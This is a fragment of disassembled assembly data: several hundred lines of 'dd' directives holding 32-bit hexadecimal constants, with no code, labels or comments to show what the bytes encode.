		dd 0AE0A002Ch, 2F018B4Eh, 9E002493h, 265BC9BFh,	155B0C5h
		dd 7E282752h, 0DEB8DAF1h, 225718C0h, 87C8CD39h,	0BCB1EC68h
		dd 0F80C21E0h, 907907E0h, 91B61606h, 30308A4Eh,	0A23BAEDCh
		dd 65ED828Bh, 6AA74F53h, 25F85038h, 4800D854h, 16CC4DABh
		dd 0F8D6D00h, 0C1F4115Ch, 8844191Bh, 893C790Ch,	401410h
		dd 3D7CFB20h, 0DDF409AEh, 50A0341Eh, 0F73A4786h, 14097A5Fh
		dd 20FCE484h, 0B5023648h, 0FDD968E1h, 17D04032h, 0D7F1FBDAh
		dd 0EE8AC4h, 0EF3E3854h, 83F7DEF9h, 0F4600416h,	3DE94448h
		dd 6E7133B0h, 0BCF2794Fh, 0FB169100h, 0E3F3B48h, 0B25A0B37h
		dd 9C014BCDh, 0D6A8B3ACh, 31EF0C40h, 0DFAAEE00h, 7422A733h
		dd 57323FBAh, 23E89800h, 56DB862Dh, 0F3AB9103h,	0D8857E21h
		dd 0C0D61C63h, 84B8340h, 0F000E01Eh, 0AAD28C93h, 0A7C95Ch
		dd 9925FE54h, 0F6CD8615h, 0E1197C01h, 0F77045D3h, 25CE3080h
		dd 0C5710E8h, 0BD4C8CBAh, 4C8C5870h, 0F3E9001Dh, 0FAFE159Ah
		dd 0D08200B1h, 7E95C1A3h, 6300FC44h, 0C9F04610h, 0B42624BAh
		dd 757880ECh, 880B3A6Eh, 205FEC00h, 7DE865C4h, 0AB3D01A8h
		dd 750FE68Ch, 0BE16C0E9h, 9A57790Ah, 9E00A837h,	78FDC4F2h
		dd 3F030035h, 0D5DCEA95h, 0A003C20h, 26F88B04h,	0BDA6CBh
		dd 9D7D0793h, 0C4214FDFh, 94089000h, 3246DC98h,	4B4304DDh
		dd 80BA24B5h, 6D8CEB10h, 98F4AC24h, 65AD7C05h, 1E6998E0h
		dd 0CFC91D85h, 0D66E7817h, 0C0135EE1h, 0F38EE8A9h, 7D4CECE3h
		dd 0AA5C2700h, 507170A0h, 0FC97004Eh, 529B9F51h, 0DF037477h
		dd 3E2E0C79h, 0D904F024h, 0D56F01ADh, 0AC9C6ADCh, 281DC4A9h
		dd 952BBB00h, 6FD91973h, 0A8FE0471h, 0A5F25DC8h, 0FC42E250h
		dd 486B50E0h, 42070C90h, 0CD9D725h, 0A931570h, 191B2659h
		dd 0BD100518h, 5DFD13A6h, 77407054h, 810EBB63h,	82951949h
		dd 60309C46h, 7761A0A2h, 0BCFC4844h, 0F5DA121Ch, 0A4100090h
		dd 2DF41C4Ch, 55B9CB01h, 32A10E98h, 792420h, 0F0E3F5C9h
		dd 9165821Fh, 0AEEA191Ch, 6DE23E80h, 814A4Bh, 92C596E8h
		dd 0AC551889h, 4D160300h, 131714BBh, 0E1F82Eh, 9BA85778h
		dd 1C1AC7C9h, 5E9DDB00h, 0A2103987h, 896900A7h,	90BFA171h
		dd 0F036C47h, 5B04547Dh, 0E6007F8h, 0C0ACD797h,	61A8E486h
		dd 0FE1D427Bh, 0B380332Eh, 8726716h, 0EFA007F5h, 0C477DCF6h
		dd 56DC93AEh, 6C906FB8h, 0C0182801h, 82CB5397h,	5DAD4170h
		dd 24580491h, 8400FD3Eh, 0B9C401Dh, 730E6289h, 0C0705E29h
		dd 0DA016C10h, 9A7D7BFAh, 0EF060258h, 0D67577FCh, 71030880h
		dd 2B016B5Ah, 0AC200268h, 8880527Dh, 969C223Fh,	1818DB3Eh
		dd 4DA1CF09h, 0C4330ED3h, 0CD671A86h, 57D4EB6h,	0D3FCB7E1h
		dd 0F99898F8h, 115CB33Ah, 79B11DE6h, 41E42E00h,	7C0734CBh
		dd 0F3F661h, 0E3897C49h, 3CFA4D69h, 3AC6C218h, 7C8FC068h
		dd 743100DBh, 1A9EC830h, 0E010CA7Eh, 20DC6DB7h,	809B5940h
		dd 850197Dh, 5200DF58h,	94C73D68h, 3EA138h, 677E18D8h
		dd 10C5931Bh, 0BA77C31Ch, 40322340h, 4FDD03h, 0C0F774ECh
		dd 8AE27CF4h, 9D725C00h, 0BD30624h, 27AB0FD0h, 0FCA7F762h
		dd 0AC97604Ah, 0C372963Ah, 2EDA6E00h, 148DE530h, 0C94600A8h
		dd 0C1817E58h, 7D00FB5Ch, 0D492F233h, 0D59F2Bh,	5A5EE1F6h
		dd 0EBCBDFE8h, 6ADEED00h, 48978AF0h, 6BF274h, 92E2403Dh
		dd 35DC6184h, 4B0067E2h, 3B2B19EDh, 0E85B7CDh, 0A25CD35Dh
		dd 0ABFA26C0h, 12073723h, 93C862D2h, 0C1E17B80h, 217F00E4h
		dd 8B1559F1h, 2805C25Eh
		dd 31FF9398h, 0D616BC40h, 38F8903h, 0B7CC68C3h,	2BA36973h
		dd 7E70211Ch, 514B5B02h, 0DBC4A04Ah, 2C6BF3h, 92C1D750h
		dd 0F8B33F4Fh, 34006EB8h, 1075D6B1h, 1819478Dh,	1849F4BAh
		dd 0C70CB5A4h, 494B5136h, 29710093h, 3D5CDB61h,	0C2017F74h
		dd 0B756BDF5h, 413E322Bh, 0C7113C10h, 0C123F33Fh, 3C10092h
		dd 696B8F6Eh, 77244486h, 404CC0F7h, 2B6AB306h, 0C48AE9Bh
		dd 0C10A0CDDh, 0C70CAB68h, 7140506Bh, 0F18B0265h, 1A46CDC5h
		dd 988E5441h, 86215408h, 2AF11D72h, 6AD00E1h, 26051E32h
		dd 0ABC14406h, 7AF06FF8h, 0CAC40407h, 8088FF7Dh, 32027AE5h
		dd 13E6470Bh, 533701D9h, 0E7D4A4D2h, 604B1EEAh,	7F2180ABh
		dd 3FEFC92Eh, 138D6B01h, 0DB895631h, 7B98D8h, 0E151F15Ch
		dd 0A8ECA325h, 6527FB0Ah, 900086CBh, 70E817E0h,	87120379h
		dd 0D3305702h, 1BDB5C80h, 368F3E09h, 855D8092h,	21A456Ah
		dd 0B9742C12h, 8C07040h, 0E40041C0h, 923BBC1Fh,	0C77CD6h
		dd 6ACA3029h, 839E5F5Eh, 0F7310900h, 104F0646h,	1D0D0705h
		dd 93EF3Dh, 82DFBD9Fh, 0A7306E00h, 413C70Fh, 1F8A7C88h
		dd 1776928h, 5EA1B2C2h,	3611D02Fh, 0D1EA1C02h, 0C1CEA091h
		dd 998CF9Bh, 0E2FC2104h, 29DED100h, 0EB8F47D8h,	0C5FA260Ah
		dd 93F3AADh, 7DE74980h,	0C20BBF2Eh, 6038D06Eh, 58865ACFh
		dd 770F068Bh, 50883B29h, 3FB23C1Dh, 85ADD0Ah, 6EEFF100h
		dd 7EA8BE5h, 0F2928E0Dh, 21584F28h, 80ECE750h, 6F7C9A00h
		dd 25D8BF0Dh, 4B290B26h, 73800765h, 0E611D456h,	598D6930h
		dd 3779A92h, 12A63BFAh,	9303349h, 0A2F221BFh, 0E88B0177h
		dd 8C60A51Eh, 0A0905276h, 7AD1E530h, 22E646EEh,	0FDED0113h
		dd 0F59934D1h, 9AA0F86Eh, 8A78FC18h, 30854B90h,	35A04393h
		dd 3E015ED2h, 5D3484A1h, 0CAE43DB7h, 0B5773F7Ah, 4B5FF280h
		dd 95390DDEh, 0AF59200h, 1AAC6090h, 0A2D7083h, 1042A014h
		dd 0E09F7004h, 9107710Ch, 6ECB1990h, 0F8A02168h, 0B9630C0h
		dd 7AD00500h, 0F446F5D9h, 94541785h, 40361C37h,	0AA611817h
		dd 0D1E26D42h, 67E5FA00h, 8010409Fh, 0B372039Bh, 65F9E09Eh
		dd 990078CEh, 4D302F90h, 0EDB1712h, 409D7EF6h, 9B4837C0h
		dd 0E3F53883h, 96A02001h, 0FB41A44Fh, 8511204Eh, 0BAA8072h
		dd 0C0034B5Ah, 919A70E9h, 971D9998h, 0A799468Ch, 218F4E08h
		dd 5340A25Eh, 0D3194301h, 0C0776130h, 0A9AA0DEDh, 54EC1D8Ch
		dd 32D0370h, 45CFE08Bh,	0CC02807Fh, 6E985E36h, 0D3A88058h
		dd 0A4C8A334h, 0DCFAA4h, 24D57E2Fh, 0D3B7B83Dh,	0C7957514h
		dd 99BA80C4h, 609DEB19h, 0C08B786Ch, 60C1588Eh,	59F5DA2Bh
		dd 1C831880h, 9A9C51A0h, 1715E0A8h, 0C066D328h,	0B88BA606h
		dd 6584374h, 0DEFF995h,	7A0BC1ADh, 0CEB5C2h, 0FF9F4D40h
		dd 38016026h, 957B0B98h, 912CC633h, 161CE39h, 0B901217Eh
		dd 0DC91BEB5h, 3D00297Dh, 0A14EF598h, 609B8979h, 6D19A85Fh
		dd 804C0191h, 7EA60066h, 97E09903h, 0A120C035h,	1FECB214h
		dd 64790760h, 0E63AD2Dh, 0A03DB373h, 40673884h,	89065BF4h
		dd 19547AECh, 86C951Ch,	5521806Eh, 32790653h, 38DB7476h
		dd 9D098C46h, 4C0FAAD0h, 8910E4F4h, 0BAB8001Dh,	95095514h
		dd 256604ACh, 814CB20Fh, 6AAF24h, 0F501D7A5h, 3038309Eh
		dd 0DCC93769h, 6435CF00h, 46168BA1h, 0E9D79E8h,	0CE1E5921h
		dd 498FD160h, 714F2A5h,	0CEC05195h, 622F23EEh, 0C6F05865h
		dd 30751100h, 22ED21Eh,	3218196Fh, 0C0505808h, 999A913Ch
		dd 4822A746h, 0A4503Dh,	693E7A74h, 37CDBE32h, 108D333h
		dd 80103853h, 0D93678C1h, 0B0419B98h, 8E49C995h, 0BE423800h
		dd 0EB00A19Eh, 0CDACF05Ch, 98953C13h, 7469D46Fh, 90475714h
		dd 0E49085A0h, 60489C3Eh, 0EAD3C3F9h, 7D41009Dh, 0E6321E5Bh
		dd 0ED3EF8BCh, 0E87C302Fh, 0C9609151h, 38900D99h, 9F005424h
		dd 804EFA2Ah, 0FC185E65h, 9B301D3Ah, 3C399810h,	0A5B8A57Ah
		dd 1C80476Ah, 4E08A468h, 2BC2276h, 389D29A0h, 648F3074h
		dd 0E3E7ED81h, 9DC4531Ch, 81379AE1h, 303FD9A9h,	419D4131h
		dd 11E024D4h, 0DC622E40h, 94F44400h, 0A9C3AC47h, 21805A98h
		dd 35268FA9h, 1C09D285h, 138B519Ch, 5601D64h, 0E519090Bh
		dd 76D66C82h, 0B511E42Ah, 77243E3Ch, 647C380h, 6534ECF8h
		dd 51634486h, 0DD065F04h, 4C81AFF8h, 0C424AB90h, 8D411236h
		dd 80442003h, 980FC39Fh, 267CAD2Bh, 54088523h, 16FC087h
		dd 13B6C370h, 0CCF326D1h, 2F12469Eh, 590AE917h,	9F0E948Eh
		dd 0DD52EC0h, 7041108Dh, 0B1A89AC7h, 6E3B20A4h,	0DD20EA7Ch
		dd 2B8E386Ch, 16E9FA89h, 5C0BAC24h, 0F4210600h,	1225CE7h
		dd 299E232Ch, 30781DD2h, 49042464h, 146CB8ACh, 0E0D51CC0h
		dd 0F01C03CEh, 0A37AE5DAh, 58EE823h, 0C499C398h, 9B74228Bh
		dd 0C3716A20h, 2DD40066h, 5240EE3Bh, 91C1119Dh,	62FF1F9Fh
		dd 10211020h, 38864ADh,	92DD2F89h, 0C82E4FCh, 26B630A2h
		dd 6CF44508h, 405964F0h, 0DF268E80h, 953B0C36h,	0B91976CBh
		dd 9D90083Ch, 8080B6A2h, 1824170Eh, 5BD928B3h, 0A4E294h
		dd 0B41D15Eh, 0EC886573h, 8B185C98h, 0A0D1CB04h, 8B60163h
		dd 888591AFh, 47FE7Bh, 128031CFh, 0B0396A9Eh, 1379C98h
		dd 8339890Ah, 23F00410h, 7D03B358h, 0A42BAEC3h,	11209A62h
		dd 0AC376h, 0D0DA376Ah,	3E506626h, 0A1A4AC50h, 0B8B57F8Ch
		dd 0B0A4492Ch, 87802488h, 0CF8C268Dh, 5AA80B69h, 8500A498h
		dd 16972F2Ah, 5791130Ah, 4300878Ch, 0E0ADE821h,	7BE0A0ABh
		dd 105E26FFh, 62909D40h, 7D283A00h, 0CC4ABA11h,	5F2300C2h
		dd 0E231C022h, 9E19DCFDh, 0CD3953E7h, 39B9D43h,	5D256750h
		dd 5A97E16Bh, 342303B8h, 584C15E8h, 5B1B1088h, 0BD072004h
		dd 70DC83D2h, 0B8A2C826h, 2ACED000h, 2B97819h, 0B6E7E6B8h
		dd 34E05960h, 0A9559007h, 40B801B0h, 89A0C0Ch, 852B33C3h
		dd 60409FC4h, 0A5B7C373h, 540136E6h, 0E69B07F5h, 30608AEDh
		dd 0AE048C5Eh, 0B7996491h, 2F2E7462h, 604C4EB6h, 0FE4B10C3h
		dd 68D60626h, 71939207h, 0D04DCB2Ah, 0DBA7B300h, 0D616E560h
		dd 0E7260048h, 1F35195Eh, 0BCF436EAh, 0BC703D4Ch, 0C2008C6Fh
		dd 8D78C899h, 0B0DEFEBFh, 3AB30034h, 0A3AC52DFh, 0A009356Ch
		dd 401DF5EBh, 552F9F48h, 344EA8BDh, 0FDC03E88h,	11ECAD7h
		dd 47AE1A80h, 50075703h, 0AB71518Ch, 0FCFB2228h, 44B1B301h
		dd 32FDFE1Ch, 3E5FF4FCh, 81171908h, 90E44EF1h, 8E755204h
		dd 0C19CC8CCh, 0CCCE4D21h, 6B506DEDh, 0A08C41E4h, 0E9997DFFh
		dd 43871473h, 60C9A7B7h, 39D2C1CFh, 804C1358h, 1D3504A7h
		dd 2907E477h, 11EC9D91h, 442F0033h, 0A73109D0h,	0FA260045h
		dd 7E6D8605h, 0CA12E7FEh, 30428843h, 0EB1FE111h, 6669C0A4h
		dd 0CF350987h, 0A048EC07h, 0D928D22Bh, 790C8CFDh, 31898791h
		dd 321C02A9h, 0C10CA4Bh, 3EF0910h, 4441651h, 0B93B6D39h
		dd 7A69807Fh, 0E5739415h, 0CE451DD8h, 5870829Dh, 24513E1Eh
		dd 0FB18FC71h, 3AA58C0Ah, 4F12B4CBh, 198088h, 0B2333F8Ah
		dd 0C1F6021Eh, 0FA9CFD0Eh, 8BC980F8h, 8894EAC0h, 4403CCC3h
		dd 8A074087h, 13C97792h, 400485CEh, 64C29548h, 7E047969h
		dd 0A85299ACh, 0AE2D6081h, 6CCD3C02h, 3DC50BE0h, 0F5A202C4h
		dd 8320D5F6h, 871760C8h, 0D9616421h, 51691836h,	20F2E41Fh
		dd 2938F94Ah, 0CF4502Ch
		dd 17FF1901h, 40647AC1h, 4AB2742Bh, 2DBC0044h, 344F0C51h
		dd 32CA84A0h, 0D745F81Eh, 0CDE24A00h, 2CC4389h,	33C6F02Ch
		dd 808462D1h, 0C36460B2h, 752B23ADh, 6E2C9D11h,	82620744h
		dd 0F8B319CEh, 1A4F023h, 0F45B2688h, 20E6195Ch,	77274082h
		dd 3EA63B3Fh, 4CCD860h,	0B09EA2Ah, 0F7740416h, 4AF8095Ah
		dd 0FD93C018h, 1FB8A0B1h, 9C5C12E0h, 4D204245h,	50506AFFh
		dd 0A00FCD31h, 4B0103FAh, 79D4241Fh, 1B929000h,	2C2E20EFh
		dd 309CA0CDh, 60D6601Eh, 72E631D0h, 0B89CAE73h,	4C0321DEh
		dd 0D47F1D08h, 0FE232084h, 6CC2473h, 0D14C56C1h, 0E5031A00h
		dd 12C9505Bh, 0EE07FA3h, 6DD0888Bh, 0A6AD4F60h,	0CBF4CA4Dh
		dd 0BC743958h, 7F048C9Ch, 1E31D799h, 16CBB4D0h,	5DF924EBh
		dd 88133FC0h, 55305F83h, 0C400D46Bh, 0F0E549A5h, 0FE3A0905h
		dd 2ED389A9h, 620C612Ah, 22A0B030h, 0B100184Bh,	0B4B2896Bh
		dd 4920CE2h, 339F90DFh,	1410E44Dh, 7DC7A30Dh, 844288EAh
		dd 0E3C4E682h, 0B9B6C48h, 8D2B3CC3h, 637BC49Ch,	0FE28C300h
		dd 0A57E9749h, 65D920B7h, 465E689Ch, 3B740075h,	9965512Ch
		dd 1BB5015Ch, 27E79FFAh, 990226Ah, 0E26F1F7Bh, 0BE348020h
		dd 0A4DDBCh, 687754A8h,	0A6EB7640h, 5163FC0Eh, 0F16F807Ah
		dd 92D323h, 85070805h, 90DB52C6h, 93D1B00h, 0A0A6953Bh
		dd 0EBB000F3h, 0A9D0916Eh, 0C001B9EDh, 6DD97B66h, 0CEE49F20h
		dd 0A1700109h, 345B9C8Dh, 8533FC2Ah, 0C027F21Eh, 7A3AC200h
		dd 0BA7DFDh, 3B54494h, 0F3A38347h, 0F9C1E82Ch, 89E6FA00h
		dd 1BE186h, 70AB45C2h, 78EEEA96h, 0C08AE63h, 0B8200095h
		dd 0F66845BAh, 99FC6AB3h, 0F28DE204h, 0C0EBD1DEh, 5A985EB0h
		dd 0F9AB7C00h, 0B48E57Fh, 18E76987h, 86945A00h,	0EE725961h
		dd 79F46F07h, 182CE8FBh, 990C8E1h, 145C0C0h, 0F18F370h
		dd 0B8A231C0h, 0A54645h, 8D5E09CCh, 7EAD244Ah, 0D9A32703h
		dd 0E1A18AF4h, 68BE77C0h, 25BBFF06h, 0FE1018F7h, 7849630h
		dd 471F01CDh, 9006625Ch, 731828C4h, 9DBD4A40h, 6CB04C60h
		dd 2C07BA00h, 16F1A18Bh, 0F2000BFh, 0AE363DB5h,	531C6D9Dh
		dd 0D4C7F26Eh, 24D0682Bh, 0BBED0Eh, 0CDB673E2h,	0F670E8BAh
		dd 56399702h, 0C04BD7AEh, 9E0AA9Ch, 0B3600C20h,	0A36BAD00h
		dd 0A80399DCh, 9C19AD3Ch, 7550F787h, 0F7C791h, 4E09D4C5h
		dd 4B5CD9EBh, 11ED0400h, 8705A1BFh, 229D0014h, 0CE2474D0h
		dd 76C1E0D6h, 0C3AB80C7h, 6D058E5h, 6338C02Fh, 0E1A302ACh
		dd 0B47A77E8h, 701718C0h, 6762E3EFh, 80A811D0h,	59D92E2Dh
		dd 5F3271C1h, 0AAC876FBh, 3CA000A1h, 24DDCA14h,	0DB1F8439h
		dd 1CB91673h, 0ED102D5Eh, 7ADD5B01h, 0E482B655h, 3E00970Eh
		dd 96802C50h, 0F81EA5ABh, 0B227007Dh, 9C2FF3F5h, 0B11991D0h
		dd 5F40EC23h, 3AB98F8h,	9E8C5A33h, 95A0692Ch, 8000F204h
		dd 5D058FBAh, 78D885F9h, 33CF901Fh, 2FB0A064h, 51B8FABBh
		dd 7660247Dh, 94D368F0h, 393100A6h, 0E8AA365Eh,	8400182Eh
		dd 0EB28F49Ch, 38FD633h, 8DD95922h, 0A2FB14FEh,	4A1112Bh
		dd 67725EF8h, 0C0CC10AFh, 6692349Eh, 0C733DE00h, 9AFC9648h
		dd 68C10060h, 0F29CA6D2h, 477A7BECh, 0B1A35A00h, 6B24ED7Eh
		dd 0E9F43Dh, 0B5E89987h, 6D67F397h, 0DB068B00h,	257A5623h
		dd 96861FFDh, 882880ECh, 0FE59D24Bh, 57F87D00h,	619D0D2Dh
		dd 0B99F0B0Fh, 5307F965h, 94DFA02Fh, 0A900A4F1h, 3DA8BC4Bh
		dd 2A6AE5h, 0EB18C27Ah,	0C35FE0EFh, 1FB80700h, 0AE24CD8Eh
		dd 0D22300E8h, 0B1EF14FFh, 880C6BA4h, 78BE6635h, 16EA001Dh
		dd 87A7433Ah, 810E55FAh, 0A052BB89h, 0E392BC5Fh, 0B2FD0EF1h
		dd 401BC51Fh, 508EEDC0h, 0D9994C00h, 13C25F68h,	609C0040h
		dd 380ADD41h, 6F039681h, 4E8E6A43h, 0A852F0A3h,	60F0EC7Ch
		dd 0D8825856h, 0DB2E81D0h, 0B901B10Bh, 6E8701B3h, 0A30021BBh
		dd 727AFD05h, 1C00B6BAh, 3E49C6A6h, 48A54C48h, 4E0086D8h
		dd 0B8CFBDBEh, 0DD0B8C85h, 80F9562Dh, 0A9E61154h, 0BCE00F26h
		dd 6EE0D0DCh, 638DD3F4h, 0A61E3FE8h, 9700128Fh,	0A25668F8h
		dd 1CEB0006h, 640C80B7h, 1F0E6640h, 60A9E15Eh, 8429E387h
		dd 2892040Ah, 805B6A16h, 9847A51Ch, 0DD6D6C2Ch,	6B00F838h
		dd 41D13FA4h, 0FBBEFC72h, 532B440h, 0EE7D3F07h,	0EF50EC07h
		dd 76E80031h, 0A703289Ch, 72BF6912h, 0BAFDEB3Ch, 5E4C4833h
		dd 1E8A0047h, 23CE2B53h, 0FB00D50Eh, 2610C6BCh,	0B11E50Dh
		dd 0C54779A0h, 1EA71287h, 40B2F9CEh, 9B97A62Ch,	50FCD41Eh
		dd 0A086AB16h, 79103600h, 999A73h, 0E7142172h, 56E37A87h
		dd 62206800h, 0CE1E9DC7h, 863300F6h, 4E34CB31h,	0E80012D3h
		dd 0E34B7F41h, 0B065FE20h, 0F8882CB2h, 9BBD00DBh, 6F5DFA73h
		dd 0E4CC1028h, 3100E27Eh, 8228834Bh, 5F58DDh, 612D8920h
		dd 70B48A52h, 0B86E0B00h, 90842DFh, 28A87433h, 2A0E6BAh
		dd 15AA7A39h, 0F8486BDDh, 64008D97h, 8BF9512Ah,	1C2124Ch
		dd 2D28DACBh, 0D8D91707h, 0DE00DBE4h, 0F43C2752h, 3A20E909h
		dd 0A000D0FFh, 0BEC6CE74h, 150EA9ADh, 87968231h, 0A2902367h
		dd 9A1F085Eh, 9860540Ch, 7C96004Ah, 4B416607h, 7700C269h
		dd 5CB08E4Ch, 625359h, 7EBE744Eh, 50FA6B05h, 1D2C60BDh
		dd 355D00BAh, 0E90A45E1h, 6E00A141h, 0D7C7D878h, 87545Ah
		dd 0E40C26A7h, 0A5FC22D3h, 0C9091892h, 83A6A0h,	0F2706244h
		dd 51D93ED8h, 0C823E509h, 0C8BBDC04h, 871EF780h, 31007E73h
		dd 3950A490h, 0CE7842h,	823C4EA1h, 0AE5E215Bh, 56711616h
		dd 46531103h, 3E48D0D3h, 44B03810h, 47D02C9Dh, 1C07E04h
		dd 0DC9628DDh, 0F00117AEh, 0D517FEDh, 0F5C42C79h, 0C2A01F1Ch
		dd 80841F55h, 88B721C5h, 9203D138h, 7C78D7E9h, 0DBCDB086h
		dd 0D3520047h, 355FE620h, 5A00957Eh, 544541F3h,	0D8C3Ch
		dd 1ABCBB64h, 0A09D9A4Bh, 0A5C09507h, 708DCA82h, 152ADE4h
		dd 0E8C18F57h, 0C410F5B7h, 0A324D59Fh, 0A90084B2h, 494329A0h
		dd 188F0EB6h, 622070C1h, 0CFE4CE4Ch, 77263600h,	5C01750h
		dd 9F800FEh, 0CBE0449Fh, 0C804EC11h, 26E12B52h,	74ADBC80h
		dd 0FF8601A2h, 69989482h, 84CFDC3Fh, 67D041EFh,	57ABF851h
		dd 0A3522B00h, 9ADD348Ah, 0A4F5509Bh, 9C6F0069h, 0E2297BFAh
		dd 0BC003F47h, 0DD77D4C0h, 15F595Dh, 0CFAD4CF8h, 301D8539h
		dd 6AFA0409h, 67F46100h, 0B5C8FB64h, 3645007Ch,	0E46618CAh
		dd 0DD005786h, 0DA5D9412h, 0A5B79Ch, 0B9F23846h, 6CA5CFAh
		dd 0A603B2EEh, 0CEBD69E4h, 0C9DB90EBh, 0F80E0974h, 180025C2h
		dd 26E5B24Eh, 947C8B06h, 2629361Ah, 0E5EED44h, 59C25064h
		dd 24682F6Fh, 797E196Ch, 0D1D56A03h, 0B8483928h, 8E2252h
		dd 18B12696h, 0CD7686D0h, 0F27E4B7Ch, 78990300h, 904129DAh
		dd 16D11858h, 3BA22146h, 0C20002E4h, 872EA3D6h,	79079590h
		dd 2B3EC61h, 607D4F92h,	94A25E53h, 78487AEEh, 39147895h
		dd 1FB0DCC0h, 1003D64Dh, 0F7A6CB75h, 5181DBD1h,	0BF19DCh
		dd 244E884Ch, 30B00E2Fh, 0E6009DE4h, 12A5BE4h, 0B2F534h
		dd 4595A139h, 0D68BF4A3h, 7FF2D8FEh, 0E0245AEEh, 0D1004004h
		dd 965FA5B5h, 0A0E66024h, 3F93A93Bh, 0F82BF5Ch,	3EDACCh
		dd 0E9F041D3h, 8E440114h, 0BB39A616h, 6D93021h,	9F9CB103h
		dd 883C1712h, 1E29AD32h, 3961CF5Dh, 0DF879B80h,	1A1823AAh
		dd 66E98E01h, 0F3EEA850h
		dd 9EA47280h, 6EE28B90h, 0DB574700h, 22E3A7E1h,	0E594070Eh
		dd 20F515D7h, 6F18FF85h, 0C3F7F607h, 25E06480h,	0A7784Dh
		dd 22572CCEh, 0E39956D0h, 559A5A00h, 0A5015244h, 0C89D1EA4h
		dd 0DCCBC17Ah, 0F4EDFA8Eh, 0D90008A1h, 0F82D1930h, 76D61Ah
		dd 65CF696h, 86E1A68Bh,	2B5EA501h, 0E9C4546Fh, 0B080B0B9h
		dd 80DA0378h, 0C900A2A4h, 5B866FD0h, 0C2BCE8h, 0D29510ADh
		dd 81B7C544h, 0A80BC700h, 24F8728Ah, 0F840292h,	5B8E38AEh
		dd 0DC42DA82h, 8535D8E8h, 0F745F900h, 0E41A6E18h, 2BB87Eh
		dd 48B0D16Ch, 0F5FF0AA6h, 75D39B00h, 0E56540FEh, 9F08A04Ch
		dd 12460077h, 228E7FD7h, 5C58F171h, 274A00E8h, 0C154EF45h
		dd 0AD9F26DBh, 0EB92B9B0h, 0A4148067h, 6E078DD5h, 118E3DBCh
		dd 6023FC41h, 0D82100C7h, 6FA5ADD4h, 0CB3A6625h, 0A12004Ah
		dd 86B1FDAh, 80F90767h,	0A70E9C27h, 0F0B630EEh,	41DAFC8h
		dd 0DC0567Ah, 0C5A7A18Eh, 0D6BD306Ah, 253ACB58h, 32E2A502h
		dd 60863D80h, 0BA276EE8h, 3FB90314h, 79CB6D25h,	0C8FFDE2h
		dd 0BDC59AA0h, 0ED07468Eh, 814851F4h, 0FF15DB40h, 99F2005Eh
		dd 25F5DA42h, 64001A7Ah, 2133D2E4h, 0F44180A2h,	4C3EE811h
		dd 131C2155h, 7B5D000Ah, 30F8A32Ah, 0EF672400h,	81C7FA8Ch
		dd 0F94D0011h, 0E978CC5Fh, 0F7007D1Ah, 63700F5Ch, 3B7F3CDCh
		dd 26000296h, 0CE2C69D3h, 0FA00FED4h, 1BA8A0D2h, 0D8BF9Ah
		dd 60AF7059h, 5311A257h, 3900FCA4h, 0B6476109h,	32668665h
		dd 0E108EE5Eh, 0FF1C0C69h, 0E6858188h, 360099FAh, 0DA8290A7h
		dd 2DFCB33h, 60979D3Eh,	8468C9D6h, 0DB7B9BB9h, 1B80AF00h
		dd 98A4FD2Dh, 27DF0CC5h, 0D3580629h, 0DA77D90Ah, 3980F03Dh
		dd 0B3E9F107h, 268E0C15h, 6A0805A6h, 0EE1B21C0h, 1F1DF2h
		dd 0DA8D3C3Eh, 2A92A507h, 9BB46B03h, 9F2E9896h,	4029987Dh
		dd 0EE5B6803h, 11003EEBh, 7A9C4382h, 0E241ACBh,	2527B3AEh
		dd 209D1896h, 9C7036F3h, 0ACF03E00h, 807DB8D3h,	6FE736BEh
		dd 1B215058h, 9C2880EAh, 25D2CB0Bh, 213B6086h, 0B09CF0E4h
		dd 0DF8C1300h, 5AA37FE2h, 32210058h, 2925C8CBh,	0B1C331F1h
		dd 0F07E6A81h, 1946E74Bh, 8E923C5h, 0E1AC502Dh,	4F757E52h
		dd 0B4DECB0Fh, 805B6091h, 0D038905Eh, 0D400BDA0h, 0C7B8CAFDh
		dd 0C600AA30h, 49187420h, 0F1B2D0Dh, 5BF52F36h,	90EBF3A0h
		dd 2200C929h, 8BA9601h,	111C85h, 536E9FBBh, 768027B7h
		dd 779E2B00h, 33190236h, 31CF00D2h, 0D55AB865h,	0FE3E6455h
		dd 0FC2F0016h, 0A861BD28h, 5143000Fh, 0D283A0BCh, 5E00C750h
		dd 0D4F485ACh, 0C053B523h, 0BD2DDD10h, 0D7074E15h, 73FB1893h
		dd 342186Ch, 75595455h,	0BBCC4F4h, 359086EAh, 13C00C0h
		dd 5C9031Dh, 1F66FD5Bh,	3028886Ch, 0BB91B964h, 5226C2E6h
		dd 0AF00275Fh, 0A62D6E8Ch, 0DC960E45h, 0C07DD96Dh, 0CBB87431h
		dd 8B00946Ch, 56F11DEDh, 3A1506B0h, 0BA8017DEh,	7F5A649Fh
		dd 0FB1D559Eh, 0BE1E2814h, 90378B0Ch, 2439035Eh, 408FDD61h
		dd 870080C6h, 17D4D249h, 0EBBBE4h, 96EC7055h, 8FE883C8h
		dd 8000FCF0h, 1924AD86h, 0A32E08h, 0B0E4AB28h, 49A1B685h
		dd 0A2001471h, 0FE9020F9h, 39D9657h, 8864D6E3h,	0A0A71E5Eh
		dd 0B6379A19h, 8975E43Fh, 80E1C102h, 74D9DC16h,	342400F4h
		dd 694EA25Dh, 2C00D31Ah, 87ADD781h, 14BCFFh, 84D49A61h
		dd 1EDA0FEAh, 34DE3100h, 9D9741DFh, 2D13007Ah, 80A53817h
		dd 7E031BB9h, 3391784Eh, 0DB080062h, 1D586D05h,	0AF004FADh
		dd 0D2A29717h, 1DC3722Ah, 40B981ABh, 802E0560h,	3C7BA973h
		dd 0E5AE7C00h, 991334F2h, 2DF8005Dh, 0E0F031F7h, 8276F953h
		dd 0FF727D00h, 0DE79EEECh, 40E10028h, 0EBAD51A9h, 0FE0041C9h
		dd 88294353h, 1784CCAh,	6348FD30h, 0E4F990E9h, 0DB0707E5h
		dd 3684E41h, 0DD8D2A00h, 0F7F847h, 0FA4449Eh, 25B12055h
		dd 0BEB43700h, 0BA4EC4BDh, 8FD502CDh, 2226B03Ah, 6BBFA80h
		dd 28079029h, 0C0D4501Eh, 9D01B68Ah, 0A9D75511h, 9DC8119Eh
		dd 8660C0D0h, 0A7E870Eh, 91013174h, 0B92996C3h,	0DC40D738h
		dd 1745DBEh, 59ABC083h,	0E881C9B4h, 0AD00DFE4h,	0C367D0F7h
		dd 491CA9h, 0B5CCC229h,	8C80FECEh, 30266C07h, 0F4208918h
		dd 0B7798Fh, 5FD97512h,	0F910134h, 53ABF900h, 46C96DF7h
